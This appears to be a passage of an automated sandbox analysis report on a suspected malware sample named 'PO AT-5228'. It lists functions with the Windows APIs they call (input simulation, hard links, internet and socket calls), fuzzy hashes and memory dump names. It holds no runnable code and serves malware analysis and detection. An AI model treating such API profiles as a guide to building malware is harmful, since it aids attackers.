Instruction Fuzzy Hash: 01514CB1904218AFDB149F68DC81AAEBBB9EF49300F1004EEF259A7251DB755A80CF59

Function 00BCC4D7 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(01949590,?), ref: 00BCC544
ScreenToClient.USER32(?,00000002), ref: 00BCC574
MoveWindow.USER32(00000002,?,?,?,000000FF,00000001,?,00000002,?,?,?,00000002,?,?), ref: 00BCC5DA

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: 76b7660b78fb9e348dd8e08998d261a975541c5b02ddf71e1806bda1a7e37af4
Instruction ID: 3c36224b3ba83f36220f82c36ec0cb812711a5a3611506db5d799eb7a7b9ecfc
Opcode Fuzzy Hash: 76b7660b78fb9e348dd8e08998d261a975541c5b02ddf71e1806bda1a7e37af4
Instruction Fuzzy Hash: 43512E75900104EFCF20DF68C881EAE7BF5EB65320F1486A9F9599B291D770ED41CB90

Function 00B9C410 Relevance: 6.1, APIs: 4, Instructions: 130windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 00B9C462
__itow.LIBCMT ref: 00B9C49C

Part of subcall function 00B9C6E8: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 00B9C753

SendMessageW.USER32(?,0000110A,00000001,?), ref: 00B9C505
__itow.LIBCMT ref: 00B9C55A

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: 43aca624aa85876a80c1d07ed4069fecc4f125cf04024073a182177b8d982091
Instruction ID: f2bf938506971eca60a9e2b079627eb184678a3a5d9b98badc1de3d6ad979781
Opcode Fuzzy Hash: 43aca624aa85876a80c1d07ed4069fecc4f125cf04024073a182177b8d982091
Instruction Fuzzy Hash: 77418271A00208AFDF25EF54C852BEE7FF9EF59700F0040A9FA05A7291DB749A55CBA1

Function 00BA390C Relevance: 6.1, APIs: 4, Instructions: 112keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00BA3966
SetKeyboardState.USER32(00000080,?,00000001), ref: 00BA3982
PostMessageW.USER32(00000000,00000102,?,00000001), ref: 00BA39EF
SendInput.USER32(00000001,?,0000001C,00000000,?,00000001), ref: 00BA3A4D

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: aedcaa05c0046a74ded6ace9553f9c4e468f3b3ef0d8066dff685b7b0ed109ba
Instruction ID: b5925a92d80564ad86f597f0df824495edf2677a5b15164cd8aa8edd91472b2c
Opcode Fuzzy Hash: aedcaa05c0046a74ded6ace9553f9c4e468f3b3ef0d8066dff685b7b0ed109ba
Instruction Fuzzy Hash: E5412970A0C258AEEF248B64C8467FEBBF5DB57710F04019AF4C2561C1C7B58E85D761

Function 00BAE698 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00BAE742
GetLastError.KERNEL32(?,00000000), ref: 00BAE768
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00BAE78D
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00BAE7B9

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: 43a132df807db5ede35005f0e4b7cb91ef823ea5c4c5821edc0fd9456595605c
Instruction ID: 406b60870b66fb1da642395deaacda6e52ac95d8a36ff0f15886f3d7c6ed356c
Opcode Fuzzy Hash: 43a132df807db5ede35005f0e4b7cb91ef823ea5c4c5821edc0fd9456595605c
Instruction Fuzzy Hash: C74104396006109FCF11AF15C484A4DBBE5FF9A710B0984D8E95AAB3A2CB78FD008B95

Function 00BCB544 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00BCB5D1

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: a8fbf2f08631a4c93c10e129f2ba72bb32dd280b5e0f0f88bd9b3efab5e44268
Instruction ID: a83a5eded9006dd265b48b9b4363f8ea45a4c290ffa7a4c7a8b8327bb7497e2f
Opcode Fuzzy Hash: a8fbf2f08631a4c93c10e129f2ba72bb32dd280b5e0f0f88bd9b3efab5e44268
Instruction Fuzzy Hash: B831DC74601208EFEF208F18CC9AFACB7E5EB25310F6441A9FA51D72E1CB30A9408B51

Function 00BCD7DE Relevance: 6.1, APIs: 4, Instructions: 105windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00BCD807
GetWindowRect.USER32(?,?), ref: 00BCD87D
PtInRect.USER32(?,?,00BCED5A), ref: 00BCD88D
MessageBeep.USER32(00000000), ref: 00BCD8FE

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 366ce60c0af63c1d8ce28c6d08d7c38e69dbdb740fe973dcd76da39f0e306457
Instruction ID: 49902431f7d6e263711c2306deb48bc46b06835a8270cbd19632c49bf34fe09c
Opcode Fuzzy Hash: 366ce60c0af63c1d8ce28c6d08d7c38e69dbdb740fe973dcd76da39f0e306457
Instruction Fuzzy Hash: 63415378A00219DFCB21DF58D884FADBBF5FB88310F1881F9E8559B2A4D730A946CB50

Function 00BA3A61 Relevance: 6.1, APIs: 4, Instructions: 104keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75C0C0D0,?,00008000), ref: 00BA3AB8
SetKeyboardState.USER32(00000080,?,00008000), ref: 00BA3AD4
PostMessageW.USER32(00000000,00000101,00000000,?), ref: 00BA3B34
SendInput.USER32(00000001,?,0000001C,75C0C0D0,?,00008000), ref: 00BA3B92

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 699c6426c6d7c5fc68c82968f65bf2523307f22615aa301eb17f94d9e4b10e4b
Instruction ID: 5bcd56a68de0ef249a4a8271cf53d0871216afe04b24ef8a4775c908d8329176
Opcode Fuzzy Hash: 699c6426c6d7c5fc68c82968f65bf2523307f22615aa301eb17f94d9e4b10e4b
Instruction Fuzzy Hash: 40315530A08258AEEF248B68C859BFE7BE6DB57710F84019AF481972D1C7748F85D771

Function 00B94004 Relevance: 6.1, APIs: 4, Instructions: 96COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00B94038
__isleadbyte_l.LIBCMT ref: 00B94066
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,?,00000000,?,00000000,?,?,?), ref: 00B94094
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,?,00000000,?,00000000,?,?,?), ref: 00B940CA

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 41963ff026f2e304f19793c1454f2ec28c13a55de7f01da78a91a80193e2cc85
Instruction ID: 47d5dffc9b987943a47906d811b52f72044027a8b6e543532f0db3d0ffd312a7
Opcode Fuzzy Hash: 41963ff026f2e304f19793c1454f2ec28c13a55de7f01da78a91a80193e2cc85
Instruction Fuzzy Hash: BC31BE31600246AFDF229F75C884FAA7BE5FF41310F1585B8EA658B1A0E731D892DB90

Function 00BC7CA5 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00BC7CB9

Part of subcall function 00BA5F55: GetWindowThreadProcessId.USER32(?,00000000), ref: 00BA5F6F
Part of subcall function 00BA5F55: GetCurrentThreadId.KERNEL32 ref: 00BA5F76
Part of subcall function 00BA5F55: AttachThreadInput.USER32(00000000,?,00BA781F), ref: 00BA5F7D

GetCaretPos.USER32(?), ref: 00BC7CCA
ClientToScreen.USER32(00000000,?), ref: 00BC7D03
GetForegroundWindow.USER32 ref: 00BC7D09

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 330303fc60c8e5d1a18b177c1086d3f1258e7672d076d873d752a4ba23c2d707
Instruction ID: 03e11ed3d9fbea897a5fcd0c0505b7b1521e3ee6a12d68ed3d7cf016eb162906
Opcode Fuzzy Hash: 330303fc60c8e5d1a18b177c1086d3f1258e7672d076d873d752a4ba23c2d707
Instruction Fuzzy Hash: 0131F171900108AFDB11EFB9D8859EFBBFDEF54314B1084AAE819E7211DA759F058FA0

Function 00BCF1D7 Relevance: 6.1, APIs: 4, Instructions: 80windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B7B34E: GetWindowLongW.USER32(?,000000EB), ref: 00B7B35F

GetCursorPos.USER32(?), ref: 00BCF211
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00BDE4C0,?,?,?,?,?), ref: 00BCF226
GetCursorPos.USER32(?), ref: 00BCF270
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00BDE4C0,?,?,?), ref: 00BCF2A6

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 6e5b348377ee55ed12a450aa3d10f52275acff6446f9af38a734ef208f9f15b6
Instruction ID: aff6359b80f5b1b35ac0e3fba52de53c4e87133fb2005f0b195148306495faf7
Opcode Fuzzy Hash: 6e5b348377ee55ed12a450aa3d10f52275acff6446f9af38a734ef208f9f15b6
Instruction Fuzzy Hash: 22215E39600018AFCB259F94D898FFE7BF6EB49720F0880E9F9154B2A1D7719A51DB50

Function 00BB431C Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00BB4358

Part of subcall function 00BB43E2: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00BB4401
Part of subcall function 00BB43E2: InternetCloseHandle.WININET(00000000), ref: 00BB449E

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: 1d52dabccaa3d7b1b50f187b0656b25e1a5a0b57e3e224ddf93d92adf80ccb6f
Instruction ID: 9550aa90060e89835ed96d405c66172e6c1276d0d059c96ef29ef3fa8a1d1d96
Opcode Fuzzy Hash: 1d52dabccaa3d7b1b50f187b0656b25e1a5a0b57e3e224ddf93d92adf80ccb6f
Instruction Fuzzy Hash: 6E218E35200605BBEB169F609C80FBBB7E9FB48710F18406ABA159B652DBF1982197A4

Function 00BC8A37 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 00BC8AA6
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00BC8AC0
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00BC8ACE
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00BC8ADC

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 79bacdcdd6596523f01f9277e02f1139f2b4db5ce3d488b10e4793b634134c8a
Instruction ID: 2aa52525045436ab6e246b0dfe20099bc8781f353aa649fece535a7a2b315486
Opcode Fuzzy Hash: 79bacdcdd6596523f01f9277e02f1139f2b4db5ce3d488b10e4793b634134c8a
Instruction Fuzzy Hash: 6B118131305511AFE705AB18DC45FBA77E9EF95320F144199F916CB2E1CFB4AD108794

Function 00BB8A7F Relevance: 6.1, APIs: 4, Instructions: 69networkCOMMON

Download Yara Rule

APIs

select.WSOCK32(00000000,00000001,00000000,00000000,?), ref: 00BB8AE0
__WSAFDIsSet.WSOCK32(00000000,00000001), ref: 00BB8AF2
accept.WSOCK32(00000000,00000000,00000000), ref: 00BB8AFF
WSAGetLastError.WSOCK32(00000000), ref: 00BB8B16

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ErrorLastacceptselect
String ID:
API String ID: 385091864-0
Opcode ID: cca5ec6dbd3f9bf5d94af6ec3b78004b97cd936215218eff4597d49cc9d233d1
Instruction ID: 5d4b889cb6e8d9bd626ea8661a8a7e0749245b36444a07b7e97e387acb8ef8a0
Opcode Fuzzy Hash: cca5ec6dbd3f9bf5d94af6ec3b78004b97cd936215218eff4597d49cc9d233d1
Instruction Fuzzy Hash: FE216671A001249FC7219F69C885ADE7BECEF5A350F0081A9F849DB251DBB4DE45CF90

Function 00BA0AA6 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA1E68: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,00BA0ABB,?,?,?,00BA187A,00000000,000000EF,00000119,?,?), ref: 00BA1E77
Part of subcall function 00BA1E68: lstrcpyW.KERNEL32(00000000,?,?,00BA0ABB,?,?,?,00BA187A,00000000,000000EF,00000119,?,?,00000000), ref: 00BA1E9D
Part of subcall function 00BA1E68: lstrcmpiW.KERNEL32(00000000,?,00BA0ABB,?,?,?,00BA187A,00000000,000000EF,00000119,?,?), ref: 00BA1ECE

lstrlenW.KERNEL32(?,00000002,?,?,?,?,00BA187A,00000000,000000EF,00000119,?,?,00000000), ref: 00BA0AD4
lstrcpyW.KERNEL32(00000000,?,?,00BA187A,00000000,000000EF,00000119,?,?,00000000), ref: 00BA0AFA
lstrcmpiW.KERNEL32(00000002,cdecl,?,00BA187A,00000000,000000EF,00000119,?,?,00000000), ref: 00BA0B2E

Strings

cdecl, xrefs: 00BA0B25

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 3a0c70e19b8401b0881c1f014671380bf186fe1a6422cb1dc76e1ce08ffea8fb
Instruction ID: 543d3676b81d7c15c7944d671f95ffe4b2b56cc3e05b03d4c65c74278db4ca95
Opcode Fuzzy Hash: 3a0c70e19b8401b0881c1f014671380bf186fe1a6422cb1dc76e1ce08ffea8fb
Instruction Fuzzy Hash: 4F11E636214345AFDB25AF34DC45E7A77E9FF46310F8040AAF906CB250EB719851C7A1

Function 00B92F96 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00B92FB5

Part of subcall function 00B8395C: __FF_MSGBANNER.LIBCMT ref: 00B83973
Part of subcall function 00B8395C: __NMSG_WRITE.LIBCMT ref: 00B8397A
Part of subcall function 00B8395C: RtlAllocateHeap.NTDLL(01920000,00000000,00000001,00000001,00000000,?,?,00B7F507,?,0000000E), ref: 00B8399F

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: dd00fa22dc173d831a34f790b8633e91dbd6f71d8f00af4b233a29fc94c41f52
Instruction ID: a05ebd67a631519378a088534af6fdbd8e437973c8aafc5315ff0db82cb46945
Opcode Fuzzy Hash: dd00fa22dc173d831a34f790b8633e91dbd6f71d8f00af4b233a29fc94c41f52
Instruction Fuzzy Hash: 0C119132949212ABDF313F74AC8576A3BD8EF14764F3449B5F8499B161DE70C940DB90

Function 00BA058F Relevance: 6.1, APIs: 4, Instructions: 64registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 00BA05AC
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00BA05C7
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 00BA05DD
FreeLibrary.KERNEL32(?), ref: 00BA0632

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Type$FileFreeLibraryLoadModuleNameRegister
String ID:
API String ID: 3137044355-0
Opcode ID: 26d85176f19782d46854954cf64790e829fbc2c285084747b6a4f55fade12bec
Instruction ID: 429977e8c627f67895286860dc24054459d0e238156cc92fc44f37b21d795542
Opcode Fuzzy Hash: 26d85176f19782d46854954cf64790e829fbc2c285084747b6a4f55fade12bec
Instruction Fuzzy Hash: C521BE71904209EFDB20AF98EDC8ADABBF8EF41308F0084A9E51697050DBB1EA54DF51

Function 00BA6713 Relevance: 6.1, APIs: 4, Instructions: 64fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00BA6733
_memset.LIBCMT ref: 00BA6754
DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 00BA67A6
CloseHandle.KERNEL32(00000000), ref: 00BA67AF

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_memset
String ID:
API String ID: 1157408455-0
Opcode ID: 6c5ee6e06f56f309ca55fcaddb855294371718775d329d7dff738a66727679a8
Instruction ID: c1eb08f913eaae3567d3bd037ef2f53f0e1cd5120e4eb22c87e3b309d4c65a2d
Opcode Fuzzy Hash: 6c5ee6e06f56f309ca55fcaddb855294371718775d329d7dff738a66727679a8
Instruction Fuzzy Hash: 62110AB19012287AE72067A5AC8DFABBBBCEF45764F1041DAF904E71D0D6744E80CB64

Function 00B9B1CC Relevance: 6.1, APIs: 4, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

